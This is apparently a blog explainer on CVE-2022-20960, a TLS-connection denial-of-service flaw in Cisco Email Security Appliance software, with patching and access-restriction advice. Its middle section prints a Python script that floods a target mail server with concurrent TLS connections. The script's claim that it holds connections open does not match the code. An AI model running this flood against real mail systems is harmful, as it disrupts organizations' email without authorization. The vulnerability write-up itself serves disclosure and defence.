CVE-2022-20960 is a serious vulnerability affecting Cisco's AsyncOS Software for their Email Security Appliance (ESA). This flaw, if exploited, could let anyone on the internet knock your email system offline — all without logging in or needing special privileges.

In this article, I'll break down how it works, show you easy-to-understand code snippets to simulate the attack, and link to the real reports. Let's dive in!

What is CVE-2022-20960?

CVE-2022-20960 is a denial of service (DoS) vulnerability. It affects Cisco ESA devices running certain versions of AsyncOS. This bug is due to the improper handling of certain TLS connections.  

Attackers can exploit it remotely and without authentication. All they have to do is open a large number of concurrent TLS (encrypted) connections to the ESA.

When this flood happens, the device can't process new email messages over TLS. In other words, your email system stops processing mail from some servers. This doesn't crash the box — it just stops it from forwarding or accepting some new encrypted mail. Luckily, once the attack stops, the device recovers automatically in a few hours.

Who Is at Risk?

If you're running an affected version of Cisco AsyncOS on your ESA, and your device is accessible from the internet, you're at risk. This means businesses using Cisco ESA for spam protection or secure mail relay face email disruptions if someone targets this bug.

How Does the Attack Work?

Because the flaw is in handling TLS connections, an attacker can use very simple code to open and maintain _many_ encrypted tunnels to the ESA device. As a result, the legitimate TLS connections (ie: real email from servers) get dropped or rejected.

The device doesn't crash or need to restart — instead, it just can't serve legitimate clients until the pressure is removed. After a few hours, your ESA will slowly clear itself up if the attack ends.

Exploit Details: A Simple Python Attack

Here’s a super-simplified proof-of-concept (for educational purposes only!). This snippet uses Python’s ssl and socket libraries to flood an ESA mail server with dummy TLS connections:

import ssl
import socket
import threading

TARGET = 'mail.yourdomain.com'  # Replace with your Cisco ESA hostname or IP
PORT = 25  # Or 465/587, depending on your mail server

def flood_tls():
    context = ssl.create_default_context()
    while True:
        try:
            sock = socket.create_connection((TARGET, PORT))
            tls_sock = context.wrap_socket(sock, server_hostname=TARGET)
            # Keep the connection open to exhaust resources
        except Exception as e:
            print(f'Connection failed: {e}')

threads = []
for _ in range(200):  # Start 200 concurrent TLS connections (change to attack strength)
    t = threading.Thread(target=flood_tls)
    t.daemon = True
    t.start()

# Let the attack run. Terminate with Ctrl+C.
while True:
    pass

Important:
Do NOT run this against networks you don't own or have explicit permission to test. This is illegal and unethical.

How to Protect Yourself

- Update your Cisco AsyncOS: Cisco has released patches for this problem. Apply updates immediately.
- Restrict Access: Make sure only authorized email servers can establish TLS connections to your ESA device.
- Monitor Connections: Use monitoring to spot large bursts of TLS connections, which might indicate an attack in progress.

References

- Cisco Security Advisory: cisco-sa-esa-tlsdos-uJdlbSNc
- NIST NVD - CVE-2022-20960
- Common Vulnerability Scoring System (CVSS) v3 Calculator

Summary

CVE-2022-20960 is a wake-up call for anyone running Cisco ESA. A simple TLS flood can block your enterprise emails from arriving. The fix is to patch quickly and control who can connect. If you use Cisco ESA, take a minute to check your version today, and save yourself the headache of a blocked email flow tomorrow.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:46:00 UTC